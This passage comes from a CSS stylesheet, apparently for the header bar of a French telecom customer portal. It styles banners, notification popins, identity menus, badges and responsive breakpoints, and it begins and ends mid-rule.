margin-right: 1.25em; } .band.bandeau-recollecte .buttons { display: flex; flex-direction: row; justify-content: flex-end; gap: 1.25em; } @media screen and (max-width: 64em) { .band.bandeau-recollecte .buttons { flex-direction: column; align-items: center; } } .band.bandeau-recollecte .buttons button { width: 100%; box-sizing: border-box; padding: 18px 55px; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 18px; font-weight: bold; line-height: 20px; } .band.bandeau-recollecte .buttons button.blacked { border: medium; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.bandeau-recollecte .buttons button.raw { border: medium; padding: 14px 25px; text-decoration: underline; } .band.bandeau-recollecte .overlay { overflow-y: scroll; position: fixed; width: 100%; height: 100%; inset: 0px; visibility: visible; opacity: 1; background-color: rgba(0, 0, 0, 0.5); z-index: 10; place-content: center; text-align: center; } .band.bandeau-recollecte .overlay .pop-in { text-align: initial; position: relative; min-height: 50px; margin: 70px 10px; padding: 10px 20px; background-color: rgb(255, 255, 255); } @media screen and (min-width: 48em) { .band.bandeau-recollecte .overlay .pop-in { display: inline-block; text-align: initial; max-width: 46.875em; line-height: 1.5; vertical-align: middle; } } .band.bandeau-recollecte .overlay .pop-in .close-popin { position: absolute; right: 0.625em; top: 0.625em; width: 2em; height: 2em; border: medium; background-color: rgba(0, 0, 0, 0); cursor: pointer; } .band.bandeau-recollecte .overlay .pop-in .close-popin.icon::before { font-size: x-large; } .band.bandeau-recollecte .overlay .pop-in h3 { font-size: 1.125em; } .band.bandeau-recollecte .overlay .pop-in p { font-size: 0.875em; } .band.bandeau-recollecte .overlay .pop-in p ul { padding-left: 1.28571em; margin-top: 0.357143em; } .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: row-reverse; gap: 1.25em; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: column; } } .band.bandeau-recollecte .overlay .pop-in > .buttons button { font-size: 1em; width: 15.625em; } @media screen and (max-width: 22.5em) { .band.bandeau-recollecte .overlay .pop-in > .buttons button { width: 100%; margin-top: 0px; } } .band.bandeau-recollecte .overlay .pop-in .pop-in-link { margin-bottom: 0.625em; display: block; color: rgb(0, 0, 0); text-decoration: underline; font-weight: 700; text-align: left; font-size: 0.875em; margin-top: 1em; } @media (max-width: 48em) { .band.bandeau-recollecte .overlay .pop-in .pop-in-link { text-align: center; } } .band.bandeau-recollecte .overlay .pop-in .pop-in-link :hover { color: rgb(0, 0, 0); } .band.bandeau-pays-francophones { position: sticky; z-index: 10000000; top: 0px; width: 100%; color: rgb(0, 0, 0); background-color: rgb(233, 247, 255); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 0.625em; display: flex; justify-content: space-between; align-items: center; gap: 1.25em; } @media (max-width: 48em) { .band.bandeau-pays-francophones { flex-wrap: wrap; } } .band.bandeau-pays-francophones div.message { align-self: flex-start; margin-left: 2.5em; position: relative; display: flex; flex-direction: column; font-size: 0.875em; line-height: 1.4; } .band.bandeau-pays-francophones div.message i { position: absolute; left: -1.25em; margin-right: 0.9375em; font-size: 2em; line-height: 0.9; color: rgb(0, 183, 255); } .band.bandeau-pays-francophones div.message h2 { font-size: 1em; font-weight: bold; line-height: 1.5; margin-top: 0px; } .band.bandeau-pays-francophones .buttons { display: flex; flex-direction: column; align-items: center; flex-basis: 40%; gap: 1.5625em; } @media screen and (max-width: 48em) { .band.bandeau-pays-francophones .buttons { flex-basis: 100%; flex-grow: 1; justify-content: space-around; } } @media screen and (min-width: 60.0625em) { .band.bandeau-pays-francophones .buttons { flex-basis: 50%; flex-direction: row; justify-content: flex-end; } } .band.bandeau-pays-francophones .buttons button { box-sizing: border-box; padding: 0.875em 3em; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 1em; font-weight: bold; line-height: 1em; } .band.bandeau-pays-francophones .buttons button.borded { border: 0.0625em solid rgb(0, 0, 0); } @media (max-width: 22.5em) { .band.bandeau-pays-francophones .buttons button.borded { width: 100%; padding: 0.875em; white-space: normal !important; } } .band.bandeau-pays-francophones .buttons button.raw { position: relative; border: medium; margin-bottom: 0px; padding: 0.3125em 1.5625em; } .band.bandeau-pays-francophones .buttons button.raw.icon::before { position: absolute; right: 0px; box-sizing: border-box; padding-left: 0.1875em; font-size: 1em; } .band.bandeau-accessibility { background-color: rgb(51, 51, 51); position: absolute; left: -624.938em; padding-top: 0.5em; padding-bottom: 0.5em; } .band.bandeau-accessibility:focus-within, .band.bandeau-accessibility.blocked { position: relative; left: 0px; z-index: 99980; } .band.bandeau-accessibility a { font-size: 0.9em; font-weight: bold; line-height: 1em; padding: 0.25em 0.3125em; margin-right: 2.8125em; margin-left: -0.625em; color: rgb(255, 255, 255); } .band.bandeau-accessibility a:focus { color: rgb(204, 204, 204); } .band.bandeau-accessibility.sosh { align-content: center; background-color: rgb(0, 0, 0); } .band.bandeau-accessibility.sosh a:active, .band.bandeau-accessibility.sosh a:hover, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus-visible { color: rgb(251, 205, 0); } .band.navigateur { background: rgb(255, 250, 230); font-family: "o-HelveticaNeue", Helvetica, Arial, sans-serif; position: relative; z-index: 99980; } .band.navigateur .message { padding: 0px 0px 0.875em; display: flex; align-items: center; } .band.navigateur .message .icon::before { font-size: 32px !important; color: rgb(255, 205, 11); } .band.navigateur .message .text { color: rgb(51, 51, 51); font-size: 16px; font-weight: 700; margin-left: 15px; flex-grow: 1; flex-basis: 100%; } .band.navigateur ul { display: flex; gap: 10px; flex-wrap: wrap; list-style-type: none; padding-left: 0px; } .band.navigateur ul li { display: flex; padding-right: 100px; } .band.navigateur ul li img { width: 45px; height: 45px; } .band.navigateur ul li > div { display: flex; flex-direction: column; color: rgb(0, 0, 0); font-weight: bold; padding-left: 16px; } .band.navigateur ul li > div .title { font-size: 18px; } .band.navigateur ul li > div .editor { font-weight: normal; font-size: 14px; color: rgb(85, 85, 85); } .band.navigateur ul li > div .link { text-decoration: none; color: inherit; font-weight: 700; font-size: 16px; display: flex; align-items: center; } .band.navigateur ul li > div .link .link-icon { padding-left: 10px; display: flex; } .band.navigateur .close-popin { color: rgb(0, 0, 0); font-size: 1.4em; float: right; margin-left: 1.25em; } .band.ruban { display: flex; flex-direction: row; justify-content: space-between; position: relative; } .band.ruban > * { display: flex; align-items: center; flex-direction: row; gap: 0.9375em; } .band.ruban * { box-sizing: border-box; } .band.ruban .page-title { font-size: 1.875em; line-height: 1.37; color: rgb(255, 255, 255); margin: 0.166667em 0px; font-weight: 700; display: flex; flex-grow: 1; flex-wrap: nowrap; } @media (max-width: 64em) { .band.ruban .page-title { font-size: 1em; } } @media (max-width: 90em) { .band.ruban .page-title { font-size: 1.625em; } } .band.ruban .layer.universe-selector { position: relative; } .band.ruban .layer.universe-selector button { padding-right: 30px; position: relative; white-space: nowrap; } .band.ruban .layer.universe-selector button::before { transform: rotate(90deg); color: rgb(241, 110, 0); font-size: 10px; position: absolute; right: 10px; top: 0px; font-weight: 700; } .band.ruban .layer.universe-selector button[aria-expanded="true"]::before { transform: rotate(-90deg); } .band.ruban .layer.universe-selector .popin { right: 0px; background: rgb(255, 255, 255); padding: 0px 30px 20px; border-top: 2px solid rgb(241, 110, 0); width: auto; transform: none; } .band.ruban .layer.universe-selector .popin h1 { height: 3.125em; min-height: 3.125em !important; font-size: 16px; margin-bottom: 5px; white-space: nowrap; font-weight: bold; color: rgb(0, 0, 0); line-height: 70px; margin-top: 0px; } .band.ruban .layer.universe-selector .popin ul { list-style: none; padding-left: 0px; margin: 0px; } .band.ruban .layer.universe-selector .popin ul li { border-top: 1px solid rgb(221, 221, 221); } .band.ruban .layer.universe-selector .popin ul li a { position: relative; color: rgb(0, 0, 0); font-size: 16px; text-decoration: none; display: block; padding: 14px 30px 14px 0px; box-sizing: border-box; outline-offset: 0.25rem; transition: outline-offset 0.15s ease-in-out; font-weight: normal; } .band.ruban .layer.universe-selector .popin ul li a:hover { text-decoration: underline; } .band.ruban .layer.universe-selector .popin ul li a::before { font-weight: bold; line-height: 22px; color: rgb(241, 110, 0); font-size: 14px; position: absolute; top: 0px; right: 0px; bottom: 0px; display: flex; align-items: center; margin-right: 0px; } .band.ruban .layer.universe-selector .popin ul li:first-of-type { border-top: medium; } .band.ruban .ruban-link { padding: 0px 0.3125em; align-items: center; justify-content: center; position: relative; min-height: 2em; min-width: 2.875em; display: flex; text-decoration: none; white-space: nowrap; outline: none; outline-offset: 7px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .ruban-link::before { display: inline-block; text-decoration: none; } .band.ruban .ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 3px !important; } @media screen and (max-width: 80em) { .band.ruban .ruban-link { padding: 0px; min-width: 2.625em; } } .band.ruban .ruban-link:focus span, .band.ruban .ruban-link:focus-within span { text-decoration: underline; } .band.ruban .ruban-link:focus span.badge, .band.ruban .ruban-link:focus-within span.badge { text-decoration: none; } .band.ruban.gp .ruban-link span { font-size: 0.875em; } .band.ruban.gp .ruban-link::before { display: inline-block; font-size: 1.1875em; margin-right: 0.368421em; text-decoration: none; } @media screen and (max-width: 64em) { .band.ruban.gp .ruban-link { display: none; } } .band.ruban.gp .ruban-link:focus span, .band.ruban.gp .ruban-link:focus-within span { text-decoration: underline; } .band.ruban.gp .ruban-link:focus span.badge, .band.ruban.gp .ruban-link:focus-within span.badge { text-decoration: none; } .band.ruban.sosh .ruban-link::before { font-size: 1.5em; } @media (max-width: 64em) { .band.ruban.sosh .ruban-link { min-width: auto; } .band.ruban.sosh .ruban-link span { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } .band.ruban.sosh .ruban-link::before { margin-right: 0px; } } .band.ruban.sosh .ruban-link:hover, .band.ruban.sosh .ruban-link:focus-visible, .band.ruban.sosh .ruban-link:active { color: rgb(255, 255, 255); } .band.ruban.sosh .ruban-link:hover span, .band.ruban.sosh .ruban-link:focus-visible span, .band.ruban.sosh .ruban-link:active span { text-decoration: underline; } .band.ruban .service-launcher .popin { width: 25em; max-width: calc(-2em + 100vw); font-size: 1em; box-sizing: border-box; } .band.ruban .service-launcher .popin ul { list-style: none; padding-left: 0px; margin: 0px; display: flex; gap: 0.9375em; flex-wrap: wrap; justify-content: space-around; } .band.ruban .service-launcher .popin ul li { display: inline-block; vertical-align: top; margin: 0px; color: rgb(0, 0, 0); width: 6.875em; min-height: 6.875em; list-style-type: none; } .band.ruban a.service-icon-container { display: flex; flex-direction: column; justify-content: space-between; position: relative; height: 100%; color: rgb(0, 0, 0); border: 0.125em solid rgba(0, 0, 0, 0); background-color: rgb(244, 244, 244); text-decoration: none; text-align: center; padding: 1.25em 0.625em 0.625em; font-size: 0.875em; font-weight: bold; } .band.ruban a.service-icon-container:hover { background: rgb(221, 221, 221); } .band.ruban a.service-icon-container i { width: 2.5em; height: 2.5em; position: relative; margin: 0px auto; display: block; right: 0px; } .band.ruban a.service-icon-container i::before { font-size: 2.5em; line-height: 1em; } .band.ruban a.service-icon-container span { height: 2.625em; justify-content: center; display: flex; align-items: baseline; } .band.ruban .centre-notifications .popin { width: 27.5em; } .band.ruban .centre-notifications .popin { max-height: 31.25em; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin { max-height: calc(-50px + 100vh); overflow-y: auto; } } .band.ruban .centre-notifications .popin .loading { height: 200px; position: relative; min-height: 44.4px; } @keyframes loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .band.ruban .centre-notifications .popin .loading::after { content: ""; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; } .band.ruban .centre-notifications .popin .error::before { box-sizing: border-box; padding: 10px 0px; display: inline-block; vertical-align: middle; width: 2em; font-size: 2em; color: rgb(38, 178, 255); } .band.ruban .centre-notifications .popin .content { margin-left: -5px; margin-right: -5px; } .band.ruban .centre-notifications .popin .content .filters { display: flex; gap: 1em; padding: 5px 0px 14px; margin: 0px; justify-content: center; } @media screen and (max-width: 48em) { .band.ruban .centre-notifications .popin .content .filters { justify-content: flex-start; } } .band.ruban .centre-notifications .popin .content .filters button { min-width: 8em; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; color: rgb(0, 0, 0); font-size: 14px; font-weight: normal; height: 2.28571em; line-height: 1; background: none; border-radius: 2.28571em; border: 1px solid rgb(204, 204, 204); padding: 5px 25px 7px; white-space: nowrap; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 10em; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content .filters button { padding-left: 15px; padding-right: 15px; min-width: 5em; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 8em; } } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content .filters button { padding-left: 5px; padding-right: 5px; overflow: hidden; min-width: 0px; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 0px; } } @media screen and (max-width: 17.5em) { .band.ruban .centre-notifications .popin .content .filters button { font-size: 0.625em; } } .band.ruban .centre-notifications .popin .content .filters button[aria-expanded="true"] { background-color: rgba(0, 0, 0, 0); border: 2px solid rgb(241, 110, 0); color: rgb(0, 0, 0); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .band.ruban .centre-notifications .popin .content .filters button:focus-visible { line-height: 1; background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:hover { background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:hover[aria-expanded="true"] { border-width: 2px; } .band.ruban .centre-notifications .popin .content ul { padding: 0px; margin: 0px; list-style: none; box-sizing: border-box; } .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 346px; margin: 0px; font-size: 16px; width: 100%; overflow: hidden auto; position: relative; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 100000000px; } } .band.ruban .centre-notifications .popin .content ul.notifications li a { padding: 0.9375em 0px; width: 100%; display: flex; gap: 0.625em; font-size: 16px; align-items: flex-start; text-decoration: none; color: rgb(85, 85, 85); position: relative; outline: none; outline-offset: -7px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .centre-notifications .popin .content ul.notifications li a:hover, .band.ruban .centre-notifications .popin .content ul.notifications li a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .band.ruban .centre-notifications .popin .content ul.notifications li a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -11px !important; } .band.ruban .centre-notifications .popin .content ul.notifications li a > span { line-height: 1.38; padding: 0px; vertical-align: middle; text-align: left; font-size: 0.875em; flex-grow: 1; } .band.ruban .centre-notifications .popin .content ul.notifications li a > span > span.contrat { font-size: 0.875em; font-weight: normal; display: block; } .band.ruban .centre-notifications .popin .content ul.notifications li a i::before { height: 1em; width: 1em; font-size: 1.7em; line-height: 1em; margin: 0.1875em; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object { vertical-align: top; flex-shrink: 0; flex-grow: 0; width: 1.6875em; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon { margin: 0px; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon::before { margin: 0px; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon { display: inline-block; width: 40px; box-shadow: none; border: medium; vertical-align: middle; text-align: center; flex-grow: 0; flex-shrink: 0; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon::before { display: inline-block; background-color: rgb(255, 255, 255); color: rgb(255, 255, 255); vertical-align: middle; font-size: 30px !important; width: 100%; text-align: center; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.confirmation-tick::before { color: rgb(61, 227, 90); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.info::before { color: rgb(38, 178, 255); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.warning::before { color: rgb(255, 205, 11); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.error::before { color: rgb(231, 0, 2); } .band.ruban .centre-notifications .popin .content ul.notifications li.unread > a { font-weight: bold; color: rgb(0, 0, 0); } .band.ruban .centre-notifications .popin .content .no-item { display: none; position: relative; margin: 5px 5px 0px; background: rgb(233, 247, 255); padding: 20px 20px 20px 55px; } .band.ruban .centre-notifications .popin .content .no-item.icon::before { position: absolute; left: 15px; top: 15px; line-height: normal; color: rgb(38, 178, 255); font-size: 32px; } .band.ruban .centre-notifications .popin .content .no-item p { margin: 0px; font-weight: bold; } .band.ruban .centre-notifications .popin .content .no-item button { display: block; border: medium; background-color: rgba(0, 0, 0, 0); margin: 0px; padding: 5px 0px; font-weight: bold; font-size: 16px; text-align: left; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; } .band.ruban .centre-notifications .popin .content .no-item button > i::before { line-height: normal; color: rgb(0, 0, 0); text-decoration: none; font-weight: bold; } .band.ruban .centre-notifications .popin .content ul > li { display: none; } .band.ruban .centre-notifications .popin .content ul > li.hidden { display: none !important; } .band.ruban .centre-notifications .popin .content.filter-all .no-item.all, .band.ruban .centre-notifications .popin .content.filter-all ul > li { display: block; } .band.ruban .centre-notifications .popin .content.filter-all .no-item.all { margin-top: -5px; background-color: rgba(0, 0, 0, 0); } .band.ruban .centre-notifications .popin .content.filter-unread .no-item.unread, .band.ruban .centre-notifications .popin .content.filter-unread ul > li.unread { display: block; } .band.ruban .centre-notifications .popin .content.filter-important .no-item.important, .band.ruban .centre-notifications .popin .content.filter-important ul > li.important { display: block; } .band.ruban.sosh .centre-notifications .panel-button:hover, .band.ruban.sosh .centre-notifications .panel-button:focus-visible, .band.ruban.sosh .centre-notifications .panel-button[aria-expanded="true"] { color: rgb(204, 204, 204); } .band.ruban.sosh .centre-notifications .panel-button .badge { background-color: rgb(222, 37, 84); box-shadow: none; transform: translate(0.25em, -0.0625em); } .band.ruban.sosh .centre-notifications .popin { padding: 0px; } .band.ruban.sosh .centre-notifications .popin::before { content: ""; position: absolute; left: 0px; right: 0px; top: 0px; height: 0.25em; background-color: rgb(222, 37, 84); } .band.ruban.sosh .centre-notifications .popin h1 { padding: 0.9375em 1.875em 0px; } .band.ruban.sosh .centre-notifications .popin .content { margin: 0px; } .band.ruban.sosh .centre-notifications .popin .content .filters button { background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"] { color: rgb(255, 255, 255); background-color: rgb(222, 37, 84); border-color: rgb(222, 37, 84); } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]::before { display: inline-block; width: 10px; height: 6px; margin: 0px 8px 2px 0px; content: ""; border-style: solid; border-color: rgb(255, 255, 255); border-width: 0px 0px 2px 2px; border-image: none; transform: rotateZ(-45deg); } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]:focus, .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]:hover { color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); border-color: rgb(0, 0, 0); } .band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: -0.0625em !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar, .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { width: 0.25em; } .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { border-radius: 0.25em; background-color: rgb(204, 204, 204); } .band.ruban.sosh .centre-notifications .popin ul.notifications li { padding: 0px 1.875em; } .band.ruban.sosh .centre-notifications .popin ul.notifications li:hover, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-visible, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-within { background-color: rgb(238, 238, 238); } .band.ruban.sosh .centre-notifications .popin ul.notifications li a { border-top: 1px solid rgb(238, 238, 238); padding: 1.0625em 0px; text-decoration: none !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a:focus-visible { outline: none !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a object, .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon { margin-top: auto; margin-bottom: auto; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a > span { font-size: 1em; font-weight: bold; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a > span .contrat { color: rgb(77, 77, 77); } .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon::before { background-color: rgba(0, 0, 0, 0); font-size: 1.25em !important; } .band.ruban.sosh .centre-notifications:not(.keep-right)[data-state="active"] .popin { transform: translateX(35%); } .band.ruban a.mail.ruban-link { position: relative; min-width: 2.375em; display: inline-flex; align-items: center; justify-content: center; font-size: inherit; } .band.ruban a.mail.ruban-link::before { margin-right: 0px; } .band.ruban .mobile-burger-menu { border: 0px; padding: 0px; background: none; color: rgb(255, 255, 255); font-size: 0.75em; font-weight: 700; display: flex; align-items: center; cursor: pointer; outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; } .band.ruban .mobile-burger-menu.icon::before { font-size: 1.5em; } .band.ruban.gp .mobile-burger-menu.icon::before { margin-right: 0.3125em; position: relative; top: -0.0625em; } .band.ruban.sosh .mobile-burger-menu { outline: none; outline-offset: 9px !important; transition: outline-offset 0.15s ease-in-out !important; flex-direction: column; } .band.ruban.sosh .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 5px !important; } .band.ruban.sosh .mobile-burger-menu.icon::before { font-size: 1.875em; margin-right: 0px; } .band.ruban.sosh .mobile-burger-menu:focus-visible { outline-color: rgb(255, 255, 255) !important; } .band.ruban .capsule { display: flex; gap: 0.625em; background: rgb(26, 26, 26); padding: 0.1875em 1.25em; } .band.ruban .capsule .vertical-separator { width: 0.0625em; background: rgb(85, 85, 85); font-size: 1em; display: block; height: 1.125em; margin: auto 0.625em; } @media (max-width: 80em) { .band.ruban .capsule .vertical-separator { margin: auto 0px; } } .band.ruban .capsule .vertical-separator:first-child, .band.ruban .capsule .vertical-separator:last-child { display: none; } .band.ruban .capsule span.badge { box-shadow: rgb(26, 26, 26) 0px 0px 0px 2px; } @media (max-width: 80em) { .band.ruban .capsule { gap: 0.3125em; padding: 0.1875em 0.3125em; } } @media (max-width: 64em) { .band.ruban .capsule { background: none; padding: 0px; } .band.ruban .capsule .vertical-separator { display: none; } } .band.ruban .left, .band.ruban .right { gap: 1.5625em; } .band.ruban.gp { gap: 1.25em; height: 6.25em; } .band.ruban.gp.small { height: 3.125em; padding-top: 0.625em; padding-bottom: 0.625em; } @media (max-width: 48em) { .band.ruban.gp { height: 3.125em; gap: 0px; } } @media (max-width: 64em) { .band.ruban.gp { height: 3.125em; } } .band.ruban.gp .layer-mobile-overlay { top: 3.125em; } .band.ruban.gp .mobile-search-toggle[aria-expanded="true"] { color: rgb(255, 121, 0); } .band.ruban.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); } .band.ruban.sosh .logo:hover, .band.ruban.sosh .logo:focus-visible { opacity: 0.7; } @media (max-width: 64em) { .band.ruban.sosh { height: 3.75em; } .band.ruban.sosh .left { flex-grow: 1; } } .band.ruban.sosh .logo { outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban.sosh .logo:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .band.ruban.sosh :focus-visible, .band.ruban.sosh .mobile-burger-menu:focus-visible, .band.ruban.sosh .logo:focus-visible { outline-color: rgb(255, 255, 255) !important; } .band.ruban.sosh.is-navigation-open .logo { display: none; } .band.ruban.sosh .layer-mobile-overlay { top: 3.75em; } .band.ruban.sosh .sosh-identity .panel-button { font-size: 1em; display: flex; align-items: center; padding: 0px 0.1875em; } .band.ruban.sosh .sosh-identity .panel-button .avatar { font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; } .band.ruban.sosh .sosh-identity .panel-button i.icon { border-radius: 50%; background-color: rgb(0, 0, 0); display: flex; align-items: center; justify-content: center; color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity .panel-button i.icon::before { height: 1em; line-height: 1em; vertical-align: top; } .band.ruban.sosh .sosh-identity .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.555556em; } .band.ruban.sosh .sosh-identity .panel-button .display-labels .title { text-align: left; } .band.ruban.sosh .sosh-identity .panel-button .display-labels .subtitle { font-weight: 700; } @media (max-width: 64em) { .band.ruban.sosh .sosh-identity .panel-button .display-labels { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } } .band.ruban.sosh .sosh-identity .panel-button:active i.icon::before { color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity[data-state="active"] > .panel-button.has-arrow::after { left: 0.9375em; border-bottom-color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity:hover .panel-button { background-color: rgba(255, 255, 255, 0.12); border-radius: 6.25em; } .band.ruban.sosh .sosh-identity .popin { width: 20.625em; min-height: 10.3125em; padding: 1.875em; border-radius: 0.3125em; display: flex; justify-content: center; } .band.ruban.sosh .sosh-identity .identity-wrapper { background: rgb(255, 255, 255); line-height: 1.375em; width: 100%; } .band.ruban.sosh .sosh-identity .identity-wrapper .full-name { padding: 0.4375em 0px 0.625em; margin-bottom: 0.9375em; font-size: 1.125em; font-weight: 700; line-height: 1.5em; text-align: center; } .band.ruban.sosh .sosh-identity .identity-wrapper ul, .band.ruban.sosh .sosh-identity .identity-wrapper li { list-style-type: none; margin: 0px; padding: 0px; text-align: center; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link { display: inline-flex; font-size: inherit; font-weight: 700; color: rgb(255, 255, 255); background: rgb(222, 37, 84); margin: 0px auto 1.875em; padding: 0.875em 2.1875em; border-radius: 0.1875em; outline-color: rgb(222, 37, 84) !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link:focus-visible { outline-offset: 0.375em !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link:hover { background: rgb(0, 0, 0); color: rgb(255, 255, 255); text-decoration: none; } .band.ruban.sosh .sosh-identity .identity-wrapper .middle-link { display: flex; align-items: center; justify-content: space-between; width: 100%; padding: 0.4375em 0px 0.625em; font-weight: 700 !important; color: rgb(0, 0, 0); outline-color: rgb(222, 37, 84) !important; position: relative; } .band.ruban.sosh .sosh-identity .identity-wrapper .middle-link::before { position: absolute; right: 0px; color: rgb(222, 37, 84); font-size: 1.65em; text-decoration: none !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link { position: relative; display: inline-flex; align-items: center; color: rgb(0, 0, 0); margin: 0.625em auto; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link::before { display: block; margin-right: 0.125em; text-decoration: none !important; position: absolute; left: -1.1em; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:hover::before, .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:focus-visible::before { text-decoration: none !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:focus-visible { outline-color: rgb(222, 37, 84) !important; } span.badge { border-radius: 1em; font-weight: bold; line-height: 1.36em; height: 1.36em; min-width: 1.36em; font-size: 0.8em; padding: 0px 0.4em; text-align: center; text-decoration: none; display: inline-block; box-sizing: border-box; position: absolute; left: calc(100% - 1.25em); right: auto; top: 0.4375em; } @media (max-width: 64em) { span.badge { top: 0px; } } .gp span.badge { box-shadow: rgb(0, 0, 0) 0px 0px 0px 0.166667em; background: rgb(231, 0, 2); color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); } .sosh span.badge { border: medium; background: rgb(222, 37, 84); color: rgb(255, 255, 255); top: 0.375em; } .identity .panel-button { display: flex; align-items: center; height: 100%; padding: 0px 0.546875em; } .identity .panel-button img { display: inline-block; width: 1.625em; height: 1.625em; font-size: inherit; } .identity .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 10px; text-align: left; } .identity .panel-button .display-labels .display-name, .identity .panel-button .display-labels .static-label { display: inline-block; max-width: 11.5em; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; text-align: left; flex-shrink: 1; font-size: 14px; } .identity .panel-button .display-labels .display-name { font-weight: 700; } .identity .panel-button .display-labels .static-label { font-weight: 400; color: rgb(204, 204, 204); } @media screen and (max-width: 64em) { .identity .panel-button .display-labels { display: none; } } .identity .side-panel .identity-panel { background: rgb(255, 255, 255); display: flex; flex-direction: column; color: rgb(0, 0, 0); padding: 4.375em 1.875em 1.875em; } .identity .side-panel .identity-panel > * { text-align: center; } .identity .side-panel .identity-panel 